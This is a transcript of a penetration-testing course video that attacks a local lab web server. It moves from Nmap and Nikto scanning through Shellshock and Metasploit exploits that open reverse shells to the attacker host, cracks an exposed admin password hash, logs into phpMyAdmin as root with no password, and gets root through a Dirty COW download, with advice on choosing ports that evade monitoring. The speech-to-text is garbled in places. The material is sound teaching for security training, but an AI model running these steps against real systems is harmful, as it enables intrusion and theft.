[MUSIC PLAYING]
Welcome to the Hacker House Hands-on hacking web
server practical module.
We're now going to do all of the steps
necessary to complete the practical elements
of this module and gain some experience in breaching
web servers and web server technologies.
So if I'm looking at my VirtualBox instance here,
I can see that I've got a callee instance running.
Again, you should have this set up with your host-only network
adapter.
And I will now go back to my lab,
ensure that I've got the web server ISO module selected,
and again make sure you've got your host-only network
adapter enabled.
So if I was to then boot this lab,
we should be presented with a boot screen.
And then if I was to leave that to boot up,
we should then find an IP address
of that particular system ready for us to use.
If I was to then go to my callee instance--
I'll log into my callee server.
And here we can see we've got a couple of terminals set up,
ready for me to use.
And over here, we've got now the IP address of our web server.
So we can see again mine is 192.168.56.3.
So if I was to ping my IP address there,
I can now ping and interact with that web server.
So I'm going to now begin interrogating that web server.
So you would obviously find web servers from your open source
intelligence phases, from your reconnaissance, from googling,
from finding out information about your target.
So now we're going to look at how to probe those web servers.
So again, I'm going to run the tool and map.
I can run and map and just the argument of the IP address.
And that will do a very basic, common Nmap port probe.
But it won't be very comprehensive.
But indeed, the footprint that comes back
is one that consists predominantly
of web related services.
So what I would do, however, is then actually do
a more comprehensive scan.
If I'm doing an authorized pen test activity,
I want to know as much information
as I can about the service, because I
want to make sure I've got all of the detail available to me
to make my assessment.
So I'm going to do minus P, capital P with a lowercase n.
To disable pings, I'm doing a ST again.
I'm doing the full 3-Way handshake
to get a comprehensive set of open ports.
I'll do -P-, because I want to scan for all of the open ports
that are available on this host.
I'm going to turn on verbosity, because I
like to see what's happening.
And then I'm going to do -n so that I can disable DNS,
because I don't care for the DNS records.
And I'm going to do -P, capital P, a lowercase n, disable ping,
which we already have.
And then I'm going to launch a -sc, run the default
scripts whenever I encounter a service that I had known about.
And then be aggressive in the way in which my probes are
conducted.
And then I will, at the end of that, type -onweb.txt.
Save it as a text file, and again, web.mxl
and save it as an xml file.
So here we can see a very comprehensive port
scan being conducted and giving us all of the open ports
that we might see on this particular web service.
And we can see that there are five web service ports out,
and indeed it's the same five services that we saw before.
So I would then go to each of those services,
do my banner grabbing, so I connect to 56 3 on port AT,
send a simple get request.
And you'll find some references for common protocol commands
within your reference guide.
And if I was to then scroll up, we'll
see here that they the HTTP headers would actually
include-- we can see the Apache software type inversion
information, and we can also see powered by PHP.
And we can see the Apache, the PHP software version in use
as well.
And what we could then do is start profiling those softwares
to see whether there's any known vulnerabilities or any known
risks associated with those software.
And what I like to do, is whenever
we come across a web page, whenever
we come across a new site, I will actually load it up
in a web browser and actually see what kind of content
is on that site.
So 192.168.56.3, here we can see that this website is actually
some kind of photo sharing website.
And in fact, it's using a common piece of software
for sharing images on the internet.
And we can see here that Spider Man is watching his favorite TV
show, My Little Pony and various other things.
So I have a browse through the site and sort
of see what does the site do, what's it all about.
And this one seems to be an image sharing site.
And if I was to then go to HTTPS--
And there are millions of sites out there
that do this image sharing, often used
for sharing photos of celebrities and fan base boards
and things like that.
And I'll go to the HTTPS service.
And again, we see on HTTPS service is actually
just the same web page.
It's the same content just available over SSL.
So we can see there we've got SSL,
we have a web service running on HTTPS.
And that's quite likely the same software package
that's powering both of those two ports.
Likewise, we can see here, there are other service ports
are open including 3128, 8080, and 10,000.
And we'll look at those in a moment,
but for now, let's have a look at the ports 80
that was available there.
So if we were to now start probing this web server,
one of the things we want to do is perhaps
have a common check for common vulnerabilities.
So you could use Nikto.
Likewise, don't forget about the NSE Discover Scripts.
Because inside of NSE Discover, you'll
also find that there are a number of HTTP scripts
that you could use for enumerating and probing
information off web service.
Lets, for instance, take this http-enum, enumerates
directories used by popular web applications and servers,
very similar to the way Nikto does it's probing
and enumerations.
So that's an example of how you could identify a script
to use in Nmap.
So there was, for instance, Nmap script equals http-enum.
And you could then run that against that server
on that particular port and see what kind of output
maybe came back.
And in fact, I would do -vb-n again.
And actually what you'd see here now
is that it will run this Nmap scripts against that server
and try to do some enumeration, try
to see if it can learn anything about that web server.
And we'll leave that script running in there.
So that Nmap script's running in there.
The next thing I'm going to run is I'm going to do Nikto.
Nikto again, don't forget Nikto-help.
If you ever come across a new tool or a command
that you're unsure of, don't forget to type man
and the name of the tool.
And see if there's anything in the man page
which might be useful to you so you can learn
about how that tool works.
It's really important if you can get in the habit of not
asking Google.
Don't just Google, how do I Nikto a web server.
Actually asks the computer itself,
because you'll find that there's manual pages there
or helpful output.
And if you get in the habit of asking the computer
instead of asking a search engine,
you will find that you can find answers much better
than other people who are too busy relying on Stack Overflow.
So if you were to check in the man pages,
you could see various arguments there.
So simply typing Nikto-help is another way,
don't forget to write the -help option to just got a shortlist
of options that are supported.
So we can see here, it says host.
We'll give it the target host that we want to run it against.
And we give it the port number.
We'll run it against a default of 80.
In output, I'll actually just store
this as a webNikto.txt file and see if we can actually
just store that file.
And you can see here that Nikto will connect to that website
and start connecting.
And it will start using a database of common paths.
It will start making requests to see whether or not
any common vulnerabilities exist.
And we'll do some of those manually as well in a second.
But also you can see, we've got this created
without the HTTP only flag.
We've got quite a lot of information
on scrolling down here of cookie data.
So what we're going to do is we are going to rerun Nikto.
And this time, we're going to feed it through a pipe.
We're going to do grep-v and I'm going to tell it,
I don't want to know anything about any HTTP only cookies.
And I just want to filter out some of that information
so that we're getting less scroll in our terminal.
So here we can see Nikto is now running.
It's running a series of common probes,
and we'll have a look at some of those probes
and what it's finding back.
Our Nmap script is still running as well.
So we've got a web server.
One of the first things I would do
is interrogate it and ask it what kind of technology
it supports by doing options.
HTTP-Options, connecting to it and then providing host.
We can see here that this servers
responded and said it's using Apache, the software version
type.
And it's also indicated the presence of Webdow
through this dow header, but also these allow options.
You've got OPTIONS, GET, HEAD, POST, DELETE, TRACE.
The presence of PROPFIND, PROPPATCH, COPY, and MOVE
lock and unlock these bonds in particular, PROPFIND
and PROPPATCH, indicate the presence of webdow as well.
So it looks like we have some webdow or distributed authoring
enabled on this server.
So it looks like there's some webdow technology there.
Again, going back to our Nmap scans and our Nikto output,
we can actually see that it starts to pull up
loads of interesting things.
And what we'll do is we'll go through them all systematically
and see which ones there are.
So one of those, it's come back and says,
OK, there's a cgi bin.
And this appears to be vulnerable to a exploit known
as Shellshock.
So if we were to control and C--
oh, I clicked that incorrectly I should just copy it--
and go back up here to allow my copy to run.
Edit.
Copy.
If I was to enter and go into that path on the web server,
we can see here that we've now got
the output of various variables have
been printed to the terminal from this print.
And we've got these different environment variables being
spat out, and you know that some information leaks in there.
And some of these are actually coming from my client,
from my browser.
You can see this user agent, for instance,
has actually come from the client
and it's being used on the page.
So there's probably a number of inabilities
here but in particular, it says it's running user/bin/printenv
and then it's showing the printenv environment.
And it's using something called CGIbin/printenv.
So that is actually kind of a likely target for Shellshock
because it's a CGI, because it's a Common Gateway Interface.
And if it's using bash, or if it's
a shell script of some kind, then if it's using bash then
that's a potential way we could inject commands
onto the server.
So how would we do that?
Well, let's have a look.
Maybe we could try it with something like Metasploit.
And then we could do MSF console.
We can have a search through and see if there was
other vulnerabilities in there.
We could do something like search sploit Shellshock
and we could see if there were any exploits.
We could run standalone.
We could perhaps get this Trend Micro
exploit from Hacker House, maybe try and take
some of the strings from there.
Well there's even all those you've
got this you know bash CGI remote code execution
or whatever.
So if I just exit there, we can see now I'm
in my Metasplot console.
And what I'm going to do is search for Shellshock.
So we're in the era now of the days
where people brand vulnerabilities
to make them more impactful or memorable to the public.
So Shellshock, here we have the injection
attacks various Shellshock exploits for how
to use it in different ways.
And we can see that as an auxiliary scanner to see
if there's a vulnerable server.
But here we've got Apache mod CGI vulnerable code execution.
And we know that our server is Apache from the web servers
header.
We believe that this is a CGI script
that we've found through Nikto, through some dab or string
or some other similar way.
And we believe that this is a good candidate
to test for Shellshock.
So we'll do use and then we'll try this Shellshock exploit,
punching in that module, show info.
And remember show info shows us the unified input,
gives us the name, it gives us a rank.
And the ranking is usually deemed to determine risk
to system as well.
So if I try this exploit and it has a rank of excellent,
it means it's very unlikely to cause any risk or any problems
on the environment.
And it's likely to work 100 percent.
You know it's excellent it's always
going to work kind of thing.
So you've got the basic options, and you've
got these various other options that
can be added into that basic options
that you can then specify.
So if I was to do show options, we
can see that this module targets CGI scripts in the description
by setting the user agent environment variable
to a malicious function.
So you can see here the user environment variable
is actually what's coming back from our web server,
coming back from our client.
So that's how Shellshock is going to abuse it.
Instead of assigning to this variable,
it's going to cause commands to be injected
when that assignment happens and that's
how shellshock exploits work.
So when you have that you have this set RHOST
and we'll specify the remote host that we want to target.
We'll need to specify the target URI, which
is the path to the script that we
want to run our attack against.
And if I was to then do show options
we can see we've got print end, then I was to do show payloads.
Remember we need to select our payload,
choose which cannonball we're going to shoot at that system,
and try to work out what information we
can use to do it.
So I'm going to do here a shell--
that will come to Meterpreter later on--
but I'm going to do shell reverse.
I want that server to connect to me.
And the reason I want to do that is
that our labs will mimic servers as you'd
expect them in the wild.
So web servers running on the external internet perimeter
are going to have firewalls in place.
So if you try to run a bind shell,
it would likely get blocked by the firewall
even though your exploit was successful.
So we're going to use a reverse shell
and make that shared server connect to us.
And the reason we're doing that is
to ensure that, try and bypass any firewalls that
might be in place.
So if I was to do show options, do set payload,
specify my reverse shell payload,
and then show options again.
Set my LHOST, set my IP address of my connecting computer
at my target of my attackers computer.
Set my LPORT.
Again, I like to match these with different ports that
would be expected.
Web server connecting to port 443 or 53
wouldn't be unusual if somebody was
monitoring network activity.
And then if I was to set this up and then say OK,
all my options are specified.
And if I have all my options set I can then type run.
And what should happen here is we
can see that the server is connected, its run an exploit,
and the command shells opened and it's actually
successfully run commands on the remote web server.
I can now control and background that session
or indeed exit out of my Meterpreter if I want to
and come back to it.
So that's how we could use Shellshock within Metasploit.
But that doesn't really show us how Shellshock works.
So we know that it works in this variable assignment
so in fact, let's do exactly what that Shellshock
exploit does.
But we'll do it ourselves by hand instead of relying
on a framework like Metasploit.
Metasploit it's a brilliant framework but sometimes you'll
need to manually exploit vulnerabilities,
so it's important that we show you how to do that as well.
So if I was to take for instance this CGI bin script
here we could use a kill command to try and send
a malicious argument to the remote server.
And what we could do is, we could do kill minus h user
hyphen agent.
And if I was to put in here user agent blah, for instance,
and then do this.
And then the website address which is 192 .
168 56 .3 CGI bin slash print end.
You should now see that the response
that the servers printed back to us
includes the HTTP user agent equals blah.
So we're connecting to the server.
We're passing an environment variable
in through bash that sets the HTTP user agent equals blah.
And instead of setting up and assigning as a variable,
we're going to cause it to execute commands
by typing in this unusual string of characters
that causes the assignment to fail in the commands
to execute.
So I'm going to do left squirrelly
bracket, right squirrelly bracket, space, left squirelly
bracket, space, colon, semicolon, space, right curly
bracket, semicolon, and then the commands I want to run.
So what I'll do is I'll type sleep 5,
so I'll confirm that it's running commands.
And what should happen now is when we connect to the server,
we should expect to see the server
pause if I do sleep slash bin maybe slash sleep.
I wouldn't expect the server to actually pause
as it does that assignment.
For some reason it hasn't, so maybe it's user bin sleep.
Maybe because these are left and right brackets
and not squirrelly brackets.
I actually made a mistake there in the initial command.
And so you can see here I've got left squirrelly bracket,
right squirrelly bracket, and then
left squirrelly brace, colon, semicolon, right squirrelly
brace, and then colon.
So you've got sleep 5 at the end there.
And you can see now when I've sent this
to the server we've got a 500 internal server error.
And what that says is, it's trying
to do something and something's gone wrong during execution
and that's a really bad sign.
So HTTP 500 errors, really good sign for attackers, really bad
sign for everybody else.
So kill minus H user agent you've got there this sleep 5.
It's obviously caused it to sleep so maybe I could
try slash bin slash sleep 5.
And now you can see that the servers waited for 5 seconds
and has now returned an error.
So I have, in fact, been able to run the bin sleep
command on that server.
So what I would do now is, I'd do well, bin net cache.
And then give it the IP address of my computer
and tell it to connect to me on port 443.
And also tell it to run the command stroke bin stroke SH.
So what I'm trying to do now is I'm
trying to get that server to connect back to me
and I'll have to launch another terminal output here.
And then I'll just do net count minus V minus L minus P 443,
and I'll listen on that port.
When I run this command now what we're hoping
is instead of assigning that variable,
it's going to assign these commands
and cause those demands to be run.
So I've run that command now and we
can see in my web server and my listening port
we can actually see I've now got a connection back.
And I can interact with that server
and begin running commands on the system.
So, this is a way in which you could exploit
a command injection vulnerability is a very
common one like Shellshock.
And in fact this web server is the horror
of hells of command injection.
There is numerous command injections in this web server
but that's just one of them.
So as an example of how you could use Shellshock,
gain access to the server.
It's telling us as well there's some out of date patches,
the Apache version is out of date
so we could look for vulnerabilities in there.
They found some Nicto, it found a vulnerability
in adding headers, so you can add headers into the site.
It seems like there's the Shellshock vulnerability, which
we were aware about.
And the next thing we can see here
is as well is WebDAV may be enabled, which we also
identified.
And then there's other technologies,
other things that it's found.
So for instance is found cache manager and a config file.
So let's try and access some of those config files.
I would actually go through Nikto now
and see what it gives me, and say OK I don't have permission
to access that.
It's giving me a case manager.
You might find some things like admin.PHP.
Lets see if I can get to Admin.PHP.
It's not giving me any permission to access that.
This is their SQL dump.
Dot SQL, so I'll try and download that.
And here we can see it's trying to download a file called SQL
dump dot SQL from the server, which it's found with Nikto
and it's questioned it.
It says is database dot SQL.
And what we're seeing here is a common mistake
that's actually happens more often than you'd
think whereby perhaps an inexperienced system
administrator has accidentally left the backups of their web
server accessible.
They've gone onto the server, they've done some backup jobs,
and they've left the backups on the web server in an accessible
path.
And in fact if we search through this,
we can see that this appears to be
a copy of the database from the server.
And if we were to grep through there for users
we would even find potentially a user name of admin
and some kind of hash in that data store there.
And don't worry about what you don't
what a hash and hashes are at the moment,
just know that it's a hashed version of the password
and we'll come to that in the password cracking module.
But we can see here we've got some users.
So I'll take this out and go admin for instance,
and I'll just paste this into a file.
Paste that username and that string of numbers,
that hash, to try and see what is that hash, what does it do.
And I'll run John on that hash.
John is a password hacking utility
for doing brute force attacks against extracted password
hashes.
There are other tools and we'll cover
those in the password cracking module.
But if I was to run John you can see it's not
been able to detect the type.
So I will give it John minus minus
format equals raw hyphen MD5.
And that's just identifying the hash type
and we'll show you how to do that in a later module.
But for this one we know it's MD5.
So if I was to run that now I can see that actually I've
been able to get back to plain text password for that user
by recovering a backup file that we found with Nikto.
I can now try to log into the site as the admin user.
So I'll try admin and the password
that we just found, and you can see
I can now log in as the administrator to that web
application.
So we can see that by an exposed backup
password file that was inadvertently
dumped on the server accidentally left publicly
exposed allows you to log in and capture some credentials
and other information from the database.
So our NRC scan is still running.
It's still running this HTTP script,
it can take a long time.
But I'll go back down through here.
So we saw a SQL database there are various other strings here,
other vulnerabilities that say oh well, you can find
PHP magic cookies for instance.
Just go back open select to one of those
just to see what that is.
So if we select that PHP magic cookie let's paste it in there.
And we can see that we could get some information perhaps
about PHP versions and others by querying all of those.
We can see here this is a file called config slash checks that
might be interesting.
So we would go and see what's in slash config slash check slot
TXT.
You see here that I'm not allowed to access it,
I've been renamed.
So this is a false positive again.
And we can see here there's a slash admin
directory so try to go to that.
Just admin dot PHP.
Oh, I can access admin dot PHP now
because I'm logged in as the admin user
from that backed up file so I can actually begin
doing administrative tasks.
But in fact is actually if I'd have logged out of this site,
I could have just registered an account on here
but I just wouldn't have admin rights to the application.
So I'm just going down now and say OK we've got logs,
we've got register.
This might be interesting.
We've got a directory called SQL.
So if we were to go to that SQL directory,
here we can see the SQL schema.
These are some non-production web content
that should have been removed really
after the application was installed and no longer needed.
We see things like images.
Also there's a read me file and the read
me file we can see that it gives us a version of Coppermine,
it gives us a precise version of Coppermine to look at.
So we could look for vulnerabilities in there.
And also if I was to do admin slash--
oh, we can find that there's a PHP my Admin page
as well there so we can see a PHP my Admin page as well.
So there's other applications running
on this site we can see that some installers
and some default READMEs and a few of the things
that had been left on there.
So we've got some more things that we
can search for vulnerabilities.
And we can search for vulnerabilities
in the software that's running on top of the web servers.
So things like PHP my admin we can have a look through those.
And just going back through in this list,
there maybe indeed a few other areas that
might have been discovered.
And if I was to do something like DirBuster and Derby
will actually try to brute force other hidden content.
And maybe I'll try dir/b.
See if there's anything extra that maybe was missed off
by my other tools.
I can see that it's finding lots of all the extra content.
Finding some 403s, giving some errors.
But its found admin slash README for instance,
if I go to Admin slash READNE we can see here
that it's given us the version of PHP that's
my admin that's in use.
So we can actually query through that PHP
my Admin page and various other pages
and now being exposed as well.
So we could go through all these pages things like PHP info
and see if we got more information from there.
We can see there's a PHP version information as well, giving you
some data on PHP info and various outputs
that we can get from that, so that's kind of useful.
There's even a server status.
Try and access server status, we can
see that we don't have permission to access that.
Commonly deployed server status page,
people often don't know that it's there.
It's usually enabled sometimes by default.
So it's a good one to check for.
You see there's always all the different things in here
as well docs and various other files.
Somewhere along the way you would hopefully
encounter slash private.
And you can see that the private page here prompts us
for a username and password.
So we've got a number of different things
now to explore.
The first thing we're going to do
is we're going to have a look at those softwares that we saw.
We found Coppermine, and we also found some other PHP my admin.
So if we do search sploit Coppermine-- and in fact
when we were developing this module
we found a bunch of exploits and new bugs
in the Coppermine photo gallery and you'll
find that some of these advisories
were written by us as well.
You might find one or two in there.
And indeed in the past, there's been
a number of vulnerabilities against this particular
software package and we're going to look
at how to use some of these vulnerabilities as well.
But just by itself there's been some exploits
so the things are 1.4.14.
Well if I was to go to that site and go to the README file,
we can see that this is running Coppermine version 1.4.14.
And I can see 1.4.14 there has a known vulnerability or command
execution vulnerability.
So again I could go back to MSF console and have a look
and see whether there is any command execution that we could
use through that vulnerability.
I'll do search Coppermine and see if there's
any exploits for that.
And we can see here that there's a Coppermine picture
editor exploit so we could actually use that exploit
against that service.
Because it's an out of date unpatched vulnerable service.
And then we could do set our RHOST, specify the RHOST,
and then also do show options, show payloads.
Remember to pick a payload that's
appropriate for your target environment.
In this instance we're going to set payload command slash
unix reverse underscore.
And you can see we support Python, Perl, reverse Netcat.
There are different ways of conducting a different kind
of reverse shell.
I'm going to try and reverse Netcat.
If you find that you're pretty sure that a system is
vulnerable but your payload didn't give you the desired
result, it may well be because you've selected something
like Python and the system doesn't have Python installed.
So you might want to try different variants of this
to get the right one.
So I've got here I've got my Netcat listener I'm
going to do you set URI to the default route.
I'm going to set my LHOST to 192.168.56.104.
And I'm going to set my port again
to something which would not look suspicious if it was
observed on a network monitor.
If I then do show options and type run,
you can see now that it's connected to that server.
I sent this command injection exploit
and it has opened a connect back shell
and believes it's tried to communicate back
with that server.
But I actually can't get any output back from the shell,
so I'll perhaps change the payload
to one that's using Python.
If you were to do show info you will see that it actually
tells you that this is a command injection that's
being passed to PHP exec.
And you have to pass various function steps.
So you've got to send some options and some file
up to the server that would pass these PHP function checks
to then execute commands.
If I was to do set payload command reverse Python
and then do run.
Well you see I've got command shell session 2
has opened my typeid, LS, EWD.
So it appears to have run but it said exploit failed interrupts.
I'll try one more, perhaps Perl.
Now we can see that I can actually get the commands back.
So that you might find that you encounter situations
like that where Python didn't work correctly
but the Perl module will.
So by doing that now we can see that it sent a POST request.
It sent a POST request to the server.
And then you can actually look with Wireshark.
Take that POST request out and what you would find
is, it's a command injection vulnerability
like the one we discussed.
That can allow you to inject commands
and it would inject commands to connect back to you
and give you a connected shell.
So I'm going to background that session now.
Look here now we can see an NSC output
we can see that it's output various Nikto like information
PHP info.
It found some information it found a private directory.
It found even the presence of something
called a W stats so if we were to go
0 controls we see if there was this AWStats dot PL on there.
You might be wondering, OK so we can see here we
got some of the stats.
We could do maybe, some other bugs in AWStats
as well we could look at.
And there's other bits of tools, some other bits of information.
So we found other applications.
Other README files, other things that may be of use to us
as an attacker using Nmap and HTTP [INAUDIBLE]..
So we might wonder, well you've already got access,
you've already got a command shell, why do you keep going.
Well that is what makes the job of a blackout so easy,
you only have to get in one place.
But actually you need to identify
all of the possible ways into a system.
So it's not like you can just find one bug
and then just move on you have to keep
going through to see if you can find all of the possible ways
in.
So it's important that even if you find one shell,
it's not worth not looking for bugs in other services
or other applications because they
might be running with different user processes on the system
as well.
And that we could see from our command output
there when we ran our commands, we were still only running
as the WW data user and we didn't have full root
permissions over that server.
OK so going back to our output that we
had before, we've got our various port scans,
we're still probing our web services.
And we can have a look again for SearchSploit,
see if there are any vulnerabilities in PHP
my admin.
Again we saw that there was one in 3.5.8 that we saw.
And it has multiple vulnerabilities,
there seems to be one just there.
In fact, if we were to go into Metasploit and do search PHP
my admin, see what we could find there.
We find actually a authenticated remote code execution
vulnerability.
So let's try this one PHP my admin authenticated.
PHP my admin, config file code injection.
Let's see if it is this one.
It may well need a username and password if which case
we'll try and guess one.
So whenever you see a page like this, like we saw with private
you need to get in the habit of whenever
you see a username and password box try some common usernames
and passwords that might be working for you.
So things like operator operator,
I would maybe try admin admin admin admin,
and then we can see the admin admin doesn't work.
I would try things like help desk help desk.
Try some common sets of credentials
to see what might let you in.
And of course maybe try things like root and root.
Or root and an empty password.
And we can see in fact, in this instance
the PHP my admin has been configured insecurely
because the root user on the MySQL database
hasn't had a password set.
So we can actually log in with root and no password,
and this would allow us to interact with the SQL
user, the SQL instance, query the database,
and do various other things.
And potentially from here we may be
able to execute commands or do more interesting things.
And we'll look at databases in a later module.
So what we can see here now is we've
got this PHP my admin preg replace,
which says it's an authenticated code execution exploit.
So if I was to just use this exploit,
use edit paste, and then do show options and do show info.
Show info tells us here that it's got a PHPs version 3.5.x
less than this are not vulnerable.
These versions are vulnerable and these versions are not.
And it shows you how to make use of this
to try and exploit a server.
And it's a code injection, it allows
you to inject PHP code into the server
and effectively execute commands.
It becomes a kind of injection exploit again.
An injection exploit in a web application.
So, going back to our README file just
to double check that we had a vulnerable version.
We go to admin and then do README.
We're sure it's version 3.58.
We know it's version 3.8 here.
So again we could set our RHOST, set out various options,
in Metasploit and we would then be ready.
Do set our target URI and then the base
PHP my admin path is slash PHP my admin.
And we're going to do slash admin
and then we're going to do exploit once we're ready to OK
So I'm going to have to do exploit.
We're not ready because I didn't select payloads.
I'm do show payloads I'm going to do set payload.
This time I'm going to use PHP reverse underscore PHP
and then I'm going to type exploit.
I'm going to see what happens.
Oh, set LHOST.
This is what happens when you haven't
set the variables correctly.
You'll find that it'll actually warn you or maybe tell you
you've not set the correct variables
or you're missing a variable.
So I'm now ready to go.
It says couldn't find token, target appears to be vulnerable
but couldn't find token.
I believe that's because I didn't do slash admin slash
like that I'll try again.
And you can see now that it's connected to the server,
grab some CRF token, and then it's
been able to execute commands and obtain again
the same level of permissions to this web server
as we had previously.
We can query the commands and see here.
So we've got a web server.
We've been able to exploit yet another code injection to get
a command shell on that server.
So again, a lot of repetition there.
Lots of command injection, lots of common exploits.
Maybe I would have a look for AWstats.
See if there was any vulnerabilities in a AWstats
that might give me access to it.
And I'll leave that as an exercise for yourself,
but also you know we've now got a couple of different shells.
But the shells we have they're not high privileged,
they're all low privileged users.
So I could do shell minus K, I'm going
to kill the two shock shells that just didn't seem to work.
And then I'm going to do resume my interaction with one
of my exploited shells.
So I can now interact with the server as a low privileged user
through the use of a command injection vulnerability.
And what I'm going to show you now
is once we're on that shell, we want
to do something called grading our shell.
We're going to do Python minus C import PTY.
I'm going to do a colon and then I'm going to do PTY dot spawn,
left bracket, speech mark slash bin slash bash.
And then I'm going to a colon like this.
Oh and then it looks like one of my command shells
died after a period of time.
So I've run this Python minus C import PTY hyphen colon PTY dot
spawn slash bin slash bash.
And then it should of hopefully executed on the server but it
didn't.
So Python minus C import PTY colon semicolon PTY
dot spawn left bracket speech mark slash
bin stroke bash speech mark again curly bracket then
my tick like that.
What should happen here is you'll
see that the prompt will now change and give you this WW
data and it should have like an actual PTY or a pseudo teletype
interface.
And then you would do dot slash etc profile.
Why am I doing these two things?
So effectively by using this Python one liner
it will give you a pseudo teletype interface.
When you run commands and you get command injection
vulnerability, it's not like you've logged into the computer
normally through SSH or you've looked
in through Telnet or some other remote access service.
Instead you are executing commands and your process
and your environment isn't quite set up
as a normal users would be set up.
So by using a pseudo teletype interface,
you're actually setting up a lot of the stuff
that the computer would set up when you normally log in.
So it gives you things like job control.
It gives you the ability to perhaps background processes.
Or it gives you much more interaction with that system,
as it gives you the teletype interface
necessary for doing a lot of the other processing
that these systems can do.
The next thing that you'll do is source the etc profile.
I'll do dot then a space slash etc profile.
And that will basically import all
of the local systems variables environment settings
and configuration data to allow you to do things
like compile files if you wanted to run a tool like GCC
or various others.
You'll find that it would fail unless you did these steps.
So if you've got that capability set up
you can then run commands.
You should see the prompt just changed.
You've now got a bit more of a fully featured prompt
and you can begin doing your privilege escalation attacks.
And one of the ways you can do that is
by doing sort of name minus A. So we
can identify the kernel version that's in use
and be able to work out the version number
so that we can query any kind of database such as search sploits
and actually look for Linux kernel vulnerabilities that
might be applicable to that version of the kernel.
Kernel vulnerabilities provide you
with a very, very nice way of doing privilege escalation
particularly if it's an out-of-date.
Kernel which this one does appear to be
and in fact, we can see that this kernel version being 3.2.0
we could actually look up and see
whether it's vulnerable to any known privilege escalation
attacks.
And it would be found vulnerable to Dirty COW.
There are a number of utilities out there
and shell scripts that can do what's
known as exploit suggesters.
You can actually download some shell scripts
that will try to identify whether there are missing
patches and things for you.
But I like to have a look at it manually through things
and have a look through known bugs that
affect a particular kernel version to be more thorough.
So you can find here you've got that kernel
version it says 3.2.0.
And we can see that there's numerous vulnerabilities
we could use against this particular system.
And we're going to stick to the Dirty COW exploit
that we discussed earlier.
So I'm going to download now from our static dot hacker dot
house slash stuff directory a file called COW root 32.
And if you wanted to download the source code for that you
could just download COW root dot C. So
you can actually see what's inside that file.
But this is basically an exploit for the dirty COW vulnerability
that you could use.
And we've pre compiled it for you using 32-bit static binary
so that you don't have to bother compiling it yourself.
But you might want to do that, you'd use GCC minus static
and then COW root dot C minus O COW root 32 minus M
32 something like that.
If you wanted to compile it statically yourself
you could do it using the minus static argument or indeed.
This one I'll do minus LP thread like that.
You'd have to compile it basically and then
set it statically and you can see that COW root 32.
And now I've compiled it as a 64-bit statically linked
binary, but I actually want it a 32-bit binary.
So I'd do minus M 32.
And then you can see it's now a 32-bit binary statically linked
that's ready for me to send to that remote computer.
So how am I going to get it to the remote computer?
Well I've got a shell on here so I could try and send it
through to my shell via Netcat And why
I could do that is by using a Netcat listener and piping in.
But I'm going to show you a really easy trick.
I'm going to do something called Python minus M simple HTTP
server.
And just start a little lightweight HTTP server
that will run on a common port.
I'm going to run on port 80 so that I can actually just
download that file from my web server using Wget for instance.
So if I go to CD dot slash temp, and I'll do make dot F.
And I'll jump into that hidden dot F directory, LS minus AL.
And then I would do something like Wget HTTP colon
slash slash 192.168.56.
Oh I made a typo.
192.168.56.104 slash COW root 32.
I can actually now download using Wget utilities,
actually just download it from my web server.
And then I can turn the web server off.
So I can actually just use the web server to Wget download
files to that remote system.
And then if I was to do chmod plus X COW root 32,
I can now set that to the execute permissions denoted
here by the X. I will explain more about Unix file
permissions in the Unix module.
But for the moment just know that chmod plus X
makes a file executable.
And if I was to do dot slash COW root 32, what we can see now
is it will try to exploit this Dirty COW vulnerability.
And when I type ID we can see I now have root permissions
to that server.
So I've been able to escalate my privileges using the Dirty
COW exploit and it's even informed us
that it's backed up the file user bin password to temp back.
Because you need to go and set that back.
You need to put that file back to make this system back
the way it was before we hacked it.
So move slash temp slash back, move that back
to the other user.
And then we can see here that there's
various bits of information that are stored in there.
So don't forget to restore temp slash back.
Move temp slash back user slash bin password.
There you have various bits of information.
So we've got now the root user through a privilege escalation
exploit and I'm going to control and Z, background session
as that's an example of how to use a local privilege
escalation exploit in a vulnerable Linux kernel.
And you can get that by looking up the kernel version,
digging around in these data sets that we saw.
And alternatively you might find that if I looked at my sessions
here, I've got sessions minus L, I've got sessions minus I3.
If I was to exit out of this, the shell
now, and go back to my low privileged one.
So we've exploited the server, we've
gained our local privilege escalation,
we've obtained root on the server,
and we can now begin probing other services.
So we found numerous vulnerabilities
on this server that gave us command injection.
But now we can have a look at perhaps maybe manually
exploiting some of those.
So we're not just relying on a framework the whole time.
And here we can see numerous other areas of these sites.
We logged as the admin user.
We saw that there was the slash private directory.
And the slash private directory appears
to be password protected in some way and what I want you to do
is, actually as an exercise, is brute force that password.
See if you can get access to the private directory
just by using a tool like Hydra.
Also we've got here this Hacker House board.
So this Hacker House board allows us
to upload and download files.
And if you remember we discussed that image
tragick vulnerability.
Image tragick manifests itself when
you have a PHP system that's using image tragick
or it's got image magic as its library.
So you can actually go to PHP info
and have a look through and see does have any kind of magic,
is it using image magic, doesn't seem to tell us
whether it is in this instance.
But you can actually search through
and see is that website using image magic.
And what you could do is to test for this vulnerability,
we actually have to upload.
And we're going to do this manually
because I want to show you image magic in a real world
application, in a real world setting,
and how to exploit it under Coppermine.
And these Coppermine sites are often
used as fan sites for things like Justin Bieber websites
and others.
So it's a good way of getting sites and accessing sites.
And a lot of malware developers tend
to hack these kinds of sites so they can distribute malware
to unsuspecting Jennifer Love Hewitt fans.
So if I was to Wget static dot Hacker dot
House slash stuff and then download the file image tragick
dot JPEG.
So you'd find there we've got image tragick dot JPEG.
If you were to actually open that file
you'd find it's not really a JPEG at all,
as it is in fact a description of a JPEG that
says push graphic context, view box, and then fill.
And it actually gives a textual representation
of what those JPEGs should be.
And inside of that textual representation
also includes a command injection string
we can see that it's got this very straightforward pint being
fed into the command injection to tell
it to run Netcat and connect to a specific port.
So I'm going to come out of this application server
and I'll come out of here.
And I'm going to run Netcat minus V minus L minus P 80.
And I'm going to listen on the Netcat service port.
And then I'm going to take this JPEG
and I'm going to upload it to the server.
But also what I'm going to do is I'm
going to enable now man in the middle proxy.
And we're going to use these man in the middle proxies
much later in the web application module.
So I'll give you just a brief overview,
we're going to use Burp Suite's free edition which
is available.
You can also use man in the middle proxy,
or MITM proxy to achieve the same the same features.
And you'll need to go and set your proxy in your browser
umder your preferences to make use of that new proxy service
that you started on your computer,
so that we can intercept requests to web applications
and make changes to them.
I'm going to show you why we need to do that in a moment.
So we're going to now manually exploit
image tragick in this situation on this server.
So here we've got various files we can upload and download
files.
And the reason I would test for image tragick
here is that it's a prime candidate for it.
It's a website that allows you to upload download files
and importantly edit or move them in some way.
Image tragick manifests itself when
an image is edited by a website which converted or changed
in some way.
So we need to ensure that we've got the right conditions
to exploit it.
